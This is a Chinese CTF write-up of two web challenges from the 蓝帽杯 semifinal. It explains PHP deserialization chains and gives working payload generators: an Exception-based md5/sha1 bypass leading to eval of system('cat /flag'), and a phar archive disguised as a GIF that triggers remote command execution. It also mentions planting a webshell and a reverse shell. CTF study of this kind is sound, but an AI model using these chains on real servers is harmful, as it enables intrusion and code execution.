蓝帽杯复赛Web方向WP
信息论考试推迟,导致又能去蓝帽杯线下了,可惜主办方跟我们说你们还是线上打吧,但是外地旅游的去意已决,最后硬着头皮和队友们还有学长去哈尔滨了,这波叫去线下打线上赛。
jack and rose
反序列化链题
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57
| <?php
class Jack { private $action;
function __set($a, $b) { $b->$a();
}
}
class Love {
public $var; function __call($a,$b) { $rose = $this->var; call_user_func($rose); }
private function action(){ echo "jack love rose"; }
} class Titanic{ public $people; public $ship; function __destruct(){
$this->people->action=$this->ship; } } class Rose{ public $var1; public $var2; function __invoke(){ if( ($this->var1 != $this->var2) && (md5($this->var1) === md5($this->var2)) && (sha1($this->var1)=== sha1($this->var2)) ){ eval($this->var1); } } } echo "a";
if(isset($_GET['love'])){ $sail=$_GET['love']; unserialize($sail); }
?>
|
首先看利用链的重点,需要绕过md5和sha1,目前我所知的绕过方法只有数组,但是数组绕过后,eval没法执行数组,所以没法用数组绕。
参考了这篇文章https://mayi077.gitee.io/2020/08/14/%E5%88%A9%E7%94%A8-Exception%E7%B1%BB-%E7%BB%95%E8%BF%87md5-sha1-%E7%AD%89%E7%B3%BB%E5%88%97/
大概思路就是找到一个类的两个对象,使得他们的__tostring函数一样然而对象不一样,找到了Exception类,他的tostring就是异常的信息。这样是可以绕过的,那么问题就是如何利用eval,可以看到这个tostring后面还有很多乱七八糟的代码,
所以我们需要?>闭合php方可进行RCE。
然后开始从头开始找链子,所有魔术方法中只有Titanic的析构函数能作为入口,这里面调用了一个对象的action,然后进行了赋值,这块很明显就是用Jack类的__set
方法激活,这个方法会再调用一个函数,现在只剩下Love类的__call
方法,call这块会进行一个函数回调,传入一个Rose类的话就会调用__invoke
,然后就完了。
因为exception类里有private和protected类型,所以最终一定要url编码!!(被这卡了半天真是蠢死了
1 2 3 4 5 6 7 8 9 10 11 12
| $cmd ='system("cat /flag");?>'; $ex1 = new Exception($cmd);$ex2 = new Exception($cmd,1); $timeline = new Rose(); $timeline->var1 = $ex1; $timeline->var2 = $ex2; $tt = new Titanic(); $J = new Jack(); $love = new Love(); $love->var = $timeline; $tt->ship = $love; $tt->people = $J; echo urlencode(serialize($tt)) ;
|
顺便记录一下遍历php各个类的方法:
1 2 3 4 5 6 7
| <?php $classes = get_declared_classes(); foreach ($classes as $c) { if (in_array('__toString', get_class_methods($c))){ echo $c."\n"; } }
|
不一样的web
注释里藏有Read类和Test类,界面有一个上传头像,虽说是要求gif,实则没有任何过滤,仅要求文件末尾是.gif,传个稍微大一点的头像就500了,传入成功后会告诉我们头像的地址,下面有一个输入地址的框可以显示头像是否成功上传。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24
| class Test { public $f;
public function __construct($value) { $this->f = $value; }
public function __wakeup() { $func = $this->f; $func(); } } class Read { public $name; public function file_get() { $text = base64_encode(file_get_contents("lib.php")); echo $text; } }
|
唯一的反序列化点就是下面那个Url了,本地生成phar然后修改后缀为.gif直接上传,然后在下面用phar://触发反序列化。
1 2 3 4 5 6 7 8
| $phar = new Phar("aa.phar"); $phar->startBuffering(); $phar->addFromString("test.txt", "test"); $phar->setStub("<?php__HALT_COMPILER(); ?>"); $a = new Test('Read::file_get'); $a = new Test('phpinfo'); $phar->setMetadata($a); $phar->stopBuffering();
|
这题很sb的一点是每次只能上传一个文件,所以我还得反复开关靶机。。
新获取到的lib.php源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98
| class Modifier { public $old_id; public $new_id; public $p_id;
public function __construct() { $this->old_id = "1"; $this->new_id = "0"; $this->p_id = "1"; }
public function __get($value) { $new_id = $value; $this->old_id = random_bytes(16); if ($this->old_id === $this->new_id) { system($this->p_id); } } }
class Files { public $filename;
public function __construct($filename) { $this->filename = $this->FilesWaf($filename); }
public function __wakeup() { $this->FilesWaf($this->filename); }
public function __toString() { return $this->filename; }
public function __destruct() { echo "Your file is " . $this->FilesWaf($this->filename) . ".</br>";
}
public function FilesWaf($name) { if (stristr($name, "/") !== False) { return "index.php"; } return $name; } }
class User { public $name; public $profile;
public function __construct($name) { $this->name = $this->UserWaf($name); $this->profile = "I am admin."; }
public function __wakeup() { $this->UserWaf($this->name); }
public function __toString() { return $this->profile->name; }
public function __destruct() { echo "baibai"; echo "Hello " . $this->UserWaf($this->name) . ".</br>";
}
public function UserWaf($name) { if (strlen($name) > 10) { return "admin"; } if (!preg_match("/[a-f0-9]/iu", $name)) { return "admin"; } return $name; } }
|
继续找利用链,终点是Modifier类的__get
函数。很离谱的是$new_id = $value;
,没有this->
。所以this->new_id
为自己可控的,为了绕过随机数检测,我们用引用赋值绕过即可。
如何触发__get
,就去访问Modifier类的不存在的参数,审计了一遍,File类不存在,唯一有的就是User类的__tostring
的return $this->profile->name;
。所以要把User类的profile赋为Modifier类,__tostring
在UserWaf的时候触发,所以Username中的name应该也是一个User类。
1 2 3 4 5 6 7 8 9 10 11 12
| $b = new User('fyhssgss'); $a = new Modifier(); $b->name = $b; $a->p_id = 'ls'; $b->profile = $a; $a->new_id = &$a->old_id; $phar = new Phar("aa.phar"); $phar->startBuffering(); $phar->addFromString("test.txt", "test"); $phar->setStub("<?php__HALT_COMPILER(); ?>"); $phar->setMetadata($b); $phar->stopBuffering();
|
传入后成功get shell,cat /flag后啥也没有。所以得找flag。但是一次只能传一个指令,干脆直接写个马到另一个php,然后用蚁剑去连(以下的操作没有实操过
但是好像连上去之后蚁剑十分不稳定,所以反弹shell到自己服务器上,在game目录下找到一个/game,逆出来发现是登录密码,然后进去在/etc/passwd,存在home用户,家目录为/home/flag,flag在/home/flag/f14g_1s_h3r3
最后,祝贺or4nge队晋级决赛!